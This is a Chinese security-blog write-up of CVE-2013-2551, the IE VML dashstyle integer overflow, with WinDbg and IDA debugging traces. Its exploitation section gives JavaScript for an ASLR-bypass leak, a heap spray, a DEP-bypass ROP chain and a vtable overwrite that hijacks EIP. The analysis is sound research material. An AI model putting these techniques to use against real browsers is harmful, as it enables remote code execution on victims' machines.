频道栏目
首页 > 安全 > 网络安全 > 正文

CVE-2013-2551样本分析及漏洞利用和防御

2017-04-20 10:40:00           
收藏   我要投稿

 0x0 写在前面

CVE-2013-2551样本分析及漏洞利用和防御。VUPEN团队在Pwn2Own 2013黑客大赛上使用漏洞攻破Windows 8环境下的IE10,随后在其博客上公开了技术细节。根据VUPEN描述,该漏洞产生于VGX.DLL模块,在VML语言中处理图形标签的stroke子元素的dashstyle存在安全隐患

微软在安全公告MS13-037中详细列举了受影响软件范围从IE6-IE10,并给出相应平台的安全更新

本文调试的Poc由4B5F5F4B根据VUPEN在博客中公开的信息构造

调试思路是对IE开启页堆,利用调试器支持,实时检测到溢出之后,根据函数调用0x0 写在前面

CVE-2013-2551样本分析及漏洞利用和防御。VUPEN团队在Pwn2Own 2013黑客大赛上使用漏洞攻破Windows 8环境下的IE10,随后在其博客上公开了技术细节。根据VUPEN描述,该漏洞产生于VGX.DLL模块,在VML语言中处理图形标签的stroke子元素的dashstyle存在安全隐患

微软在安全公告MS13-037中详细列举了受影响软件范围从IE6-IE10,并给出相应平台的安全更新

本文调试的Poc由4B5F5F4B根据VUPEN在博客中公开的信息构造

调试思路是对IE开启页堆,利用调试器支持,实时检测到溢出之后,根据函数调用关系往上一层一层跟踪数据来源和阅读反汇编代码,寻找漏洞触发的关键点

0x1 调试环境 & 样本信息

1.1 调试环境

[操作系统]:Windows 7 Ultimate SP1(X64)、 Windows 7 Ultimate SP1(X86)

[浏览器]:Internet Explorer 8.0.7601.17514

[调试器]:Windbg 6.11.0001.402 X86

[反汇编器]:IDA Pro 6.8.150423(32-bit)

1.2 样本信息

[样本名]:poc.html

[MD5]:0B8CBEE6465D1D22B79866DE997C509A

[SHA1]:161621EF49A453692537DBC33D10DDC73EB5133D

[CRC32]:FAE274A5

0x2 样本调试

2.1 对IE浏览器开启页堆

\

2.2 运行样本

使用Windbg附加IE,然后运行样本,允许加载ActiveX控件,并点击页面中的crash按钮

\

2.3 查看崩溃时信息

崩溃语句信息

0:012> g(894.f80): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0 nv up ei ng nz ac pe cycs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297msvcrt!memcpy+0x158:76de9966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????

栈的调用关系

0:004> kbChildEBP RetAddr Args to Child 08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x15808b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x2708b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165...(lines have been omitted)...

查看vgx模块的详细信息

0:004> lm vm vgxstart end module name72a10000 72ad1000 vgx (pdb symbols) c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll Image name: vgx.dll Timestamp: Tue Jul 14 09:11:08 2009 (4A5BDB2C) CheckSum: 000C2C1E ImageSize: 000C1000 File version: 8.0.7600.16385 Product version: 8.0.7600.16385 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0409.04b0 CompanyName: Microsoft Corporation ProductName: Windows® Internet Explorer InternalName: VGX.DLL OriginalFilename: VGX.DLL ProductVersion: 8.00.7600.16385 FileVersion: 8.00.7600.16385 (win7_rtm.090713-1255) FileDescription: Microsoft Vector Graphics Rendering(VML) LegalCopyright: © Microsoft Corporation. All rights reserved.

2.4 使用IDA查看崩溃点附近代码

msvcrt!memcpy函数经过千锤百炼几乎不用去怀疑,直接查看上层调用

计算偏移:0x72a3cfa4 – 0x72a10000 = 0x2CFA4

该版本vgx.dll模块在IDA中的基址为:0x198C0000

经过计算,memcpy函数在地址0x198ECFA4处被调用

\

经过分析,src为结构体第4项数据 + (结构体第2项数据 && 0xFFFF)* arg_8

2.5 继续查看上层函数

在Windbg中查看(vgx!COALineDashStyleArray::get_item+0x89)

72a8da0c ff511c call dword ptr [ecx+1Ch]72a8da0f 8b4510 mov eax,dword ptr [ebp+10h]

计算该语句在IDA中的地址

0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C

使用IDA查看该函数

\

使用Windbg跟踪vgx!COALineDashStyleArray::get_item的执行流程

重新运行样本

0:015> .childdbg 1Processes created by the current process will be debugged0:015> bu 72a8da0c - 72a10000 + vgx.dll0:015> bu 72a8d983 - 72a10000 + vgx.dll0:015> bl 0 e 70a4da0c 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item+0x89 1 e 70a4d983 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item

经过调试,在vgx!COALineDashStyleArray::get_item+0x70处调用vgx!ORG::CElements函数

vgx!COALineDashStyleArray::get_item+0x70:70a4d9f3 ff512c call dword ptr [ecx+2Ch] ds:002b:709e7284={vgx!ORG::CElements (709fd079)}

单步步入vgx!ORG::CElements函数

\

根据movzx指令判断,该数值为无符号数

函数返回后,对使用0扩展之后的无符号数进行了有符号的条件判断

\

之前的unsigned short int 0扩展之后被强转为 int,且样本传入的数值为0xFFFF,造成整数溢出

0x3 漏洞利用

本文漏洞利用针对没打任何补丁的Windows 7 Ultimate SP1(X86) 环境,结合源码和调试分析利用过程

本文中漏洞利用代码主要参考调试的Poc样本代码、以及网上的公开代码整理编写

漏洞利用成功截图

\

Poc源码中溢出的关键语句:

vml1.dashstyle.array.length = 0 - 1

3.1 过ASLR

过ASLR的源码大致如下:

for (var i=0; i<0x400; i++){a[i].rotation; if (i == 0x300) { vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44" } } var length_orig = vml1.dashstyle.array.length;vml1.dashstyle.array.length = 0 - 1;for (var i=0; i<0x400; i++) {a[i].marginLeft = "Khwarezm111";marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);if (marginLeftAddress > 0) { vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300; var leak = a[i].marginLeft; vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress; vml1.dashstyle.array.length = length_orig; ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;

在赋值之后,加入弹框把流程中断下来

vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;alert("pause");

使用Windbg附加运行,弹出窗口后在Windbg上点击暂停,然后搜索数值0x7ffe0300

0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f020ce7c8 00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00 ................020dbfa3 00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a ....%..[...t....020dccb8 00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00 ................04be5c78 00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................762113e6 00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90 ................76212b41 00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01 ................

搜索的记录太多无法验证,那么我们再搜索字符串"Khwarezm111"

0:015> s -u 0x0 L?0x7fffffff "Khwarezm111"0044df04 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.004b48b8 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.

接着搜索数值0x0044df04

0:015> s -b 0x0 L?0x7fffffff 04 df 44 0004bc8568 04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00 ..D.............04c0cdcc 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D.04c0cdd8 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl04c22c84 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D.04c22c90 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl

结合以上三个搜索结果,可以猜测地址0x04be5c78就是我们寻找的保存数值0x7ffe0300的地方

在内存窗口验证猜测

\

往前翻,其内存布局如下

\

查看圈红处的数据

0:015> db 04a08124 L1604a08124 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m.04a08134 31 00 31 00 31 00 1.1.1.0:015> db 04a0814c L1604a0814c 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m.04a0815c 31 00 31 00 31 00 1.1.1.

可以看见,上诉代码在一片对象中间利用dashstyle属性插入了和一个对象相同大小的数组,利用溢出,定位到数组后一个对象保存字符串首地址的地方,通过越界写入任意值,然后利用对象的属性定位到该任意值

本文利用固定偏移泄露NTDLL.DLL的基址

0:015> dd 7ffe0300 L1 7ffe0300 778970b00:015> u 778970b0 ntdll!KiFastSystemCall:778970b0 8bd4 mov edx,esp778970b2 0f34 sysenter

3.2 精确喷射

精确堆喷到地址0x0c0c0c0c,源码大致如下:

var fill = unescape("%u0c0c%u0c0c"); while (fill.length < 0x1000){ fill += fill; } // [ padding offset ] padding = fill.substring(0, 0x5F6); // [ fill each chunk with 0x1000 bytes ] evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);

3.3 过DEP

使用ROP链过DEP,源码大致如下:

function getRealAddr(base ,offect){ var real_addr = base + offect; var str = real_addr.toString(16); var s1 = str.substring(0,4); var s2 = str.substring(4,8); return "%u" + s2 + "%u" + s1}ntdll_base = getNtdllBase();stack_pivot = getRealAddr(ntdll_base,0x0001578a);stack_pivot += getRealAddr(ntdll_base,0x000096c9);stack_pivot += getRealAddr(ntdll_base,0x00015789);ntdll_rop = getRealAddr(ntdll_base ,0x45F18);ntdll_rop += "%u0c40%u0c0c";ntdll_rop += "%uffff%uffff";ntdll_rop += "%u0c34%u0c0c";ntdll_rop += "%u0c38%u0c0c";ntdll_rop += "%u0040%u0000";ntdll_rop += "%u0c3c%u0c0c";ntdll_rop += "%u0c40%u0c0c";ntdll_rop += "%u0400%u0000";ntdll_rop += "%u4141%u4141";rop_chains = unescape(stack_pivot + ntdll_rop);

3.4 劫持EIP

劫持EIP的源码大致如下:

for (var i=0; i<0x1000; i++){a2[i] = document.getElementById("rect" + i.toString())._anchorRect;if (i == 0x800) {vml1.dashstyle = "1 2 3 4"}}vml1.dashstyle.array.length = 0 - 1;vml1.dashstyle.array.item(6) = 0x0c0c0c0c;for (var i=0; i<0x1000; i++){delete a2[i];CollectGarbage();}location.reload();

由于0x0c0c0c0c在内存中存在太多,不方便搜索,将其修改为一个比较特殊的值0x0eeeee0e,然后加入弹框

vml1.dashstyle.array.length = 0 - 1;vml1.dashstyle.array.item(6) = 0x0eeeee0e;alert("pause");

使用windbg附加运行,在弹框后暂停,然后搜索数值0x0eeeee0e

0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e01a25c49 0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc ....%......t....01a2ca8a 0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a ....%..[.(.t....01a2cfc0 0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00 ................12b60280 0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12 ....P........<..

根据对其,可以排除第一个搜索结果,由于搜索到的结果不多,可以根据其分布在数组{1,2,3,4}之后寻找

经过在内存中往上寻找数组,地址0x12b60280符合条件

查看附近内存布局

\

我们看到,一个COAShape对象紧接着一个COAReturnedPointsForAnchor对象,它们占用的内存空间都是一样的。根据源码,我们可以知道,通过布置跟对象大小相同的数组,利用溢出,定位到后一个对象(此处是COAShape对象)的虚表

查看COAShape虚表的内容

\

此时我们知道虚表指针被改写了

对0x0eeeee0e下执行断点,中断时查看函数的调用关系

0:005> kbChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong.020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56...(lines have been omitted)...

查看上层调用

mshtml!ClearInterfaceFn:6a23f202 8b08 mov ecx,dword ptr [eax]6a23f204 832000 and dword ptr [eax],06a23f207 85c9 test ecx,ecx6a23f209 7501 jne mshtml!ClearInterfaceFn+0x9 (6a23f20c)6a23f20b c3 ret6a23f20c 8b01 mov eax,dword ptr [ecx]6a23f20e 51 push ecx6a23f20f ff5008 call dword ptr [eax+8]6a23f212 ebf7 jmp mshtml!ClearInterfaceFn+0xf (6a23f20b)

地址0x6a23f20f是在调用虚表第二项,正常情况是Release函数,溢出后,劫持了EIP

构造的利用样本将在此处执行换栈操作

0:005> u poi(0c0c0c0c + 8) L1ntdll!A_SHAInit+0x2e:77865789 94 xchg eax,esp

上一篇:Phpcmsv9漏洞分析
下一篇:如何使用Parallels Desktop12偏好设置选项功能
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站